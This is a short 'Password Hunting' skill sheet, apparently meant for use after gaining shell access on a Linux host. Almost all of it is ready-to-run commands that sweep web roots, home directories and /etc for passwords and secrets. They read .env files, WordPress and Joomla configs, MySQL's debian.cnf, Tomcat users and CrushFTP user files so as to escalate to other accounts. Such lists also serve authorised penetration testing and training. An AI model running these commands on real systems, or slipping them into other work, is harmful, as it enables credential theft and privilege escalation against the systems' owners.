Password Hunting

Password Hunting Skill

When to Use

Use IMMEDIATELY after getting shell access when:

• Need to escalate to another user
• Looking for service credentials
• Want to find database passwords
• Searching for SSH keys

Quick Wins - Run These First

# Search for password strings in common locations
grep -rli "password" /var/www /opt /home /etc 2>/dev/null | head -20
grep -rli "passwd" /var/www /opt /home /etc 2>/dev/null | head -20
grep -rli "secret" /var/www /opt /home /etc 2>/dev/null | head -20

# Search for specific password patterns
grep -rEi "password\s*[=:]\s*['\"]?[^'\"]+['\"]?" /var/www /opt /home 2>/dev/null

# Check config files directly
cat /var/www/*/config*.php 2>/dev/null | grep -i pass
cat /var/www/*/.env 2>/dev/null
cat /opt/*/*.conf 2>/dev/null | grep -i pass

Password Locations by Category

Web Application Configs

# PHP Applications
find /var/www -name "config*.php" -exec grep -li password {} \; 2>/dev/null
find /var/www -name "settings*.php" -exec grep -li password {} \; 2>/dev/null
find /var/www -name "database*.php" -exec grep -li password {} \; 2>/dev/null
cat /var/www/*/wp-config.php 2>/dev/null  # WordPress
cat /var/www/*/configuration.php 2>/dev/null  # Joomla

# Environment files
find / -name ".env" 2>/dev/null
find / -name ".env.local" 2>/dev/null
find / -name "*.env" 2>/dev/null

# Python
find / -name "settings.py" -exec grep -li password {} \; 2>/dev/null
find / -name "config.py" -exec grep -li password {} \; 2>/dev/null

# Node.js
find / -name "config.json" 2>/dev/null | xargs grep -l password 2>/dev/null

Service Configs

# Database configs
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/lib/mysql/mysql.cnf 2>/dev/null
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null

# Web servers
cat /etc/apache2/sites-enabled/* 2>/dev/null | grep -i password
cat /etc/nginx/sites-enabled/* 2>/dev/null | grep -i password

# FTP servers
cat /etc/vsftpd.conf 2>/dev/null
cat /opt/*/CrushFTP*/users/*/user.xml 2>/dev/null  # CrushFTP!

# Application servers
cat /opt/tomcat*/conf/tomcat-users.xml 2>/dev/null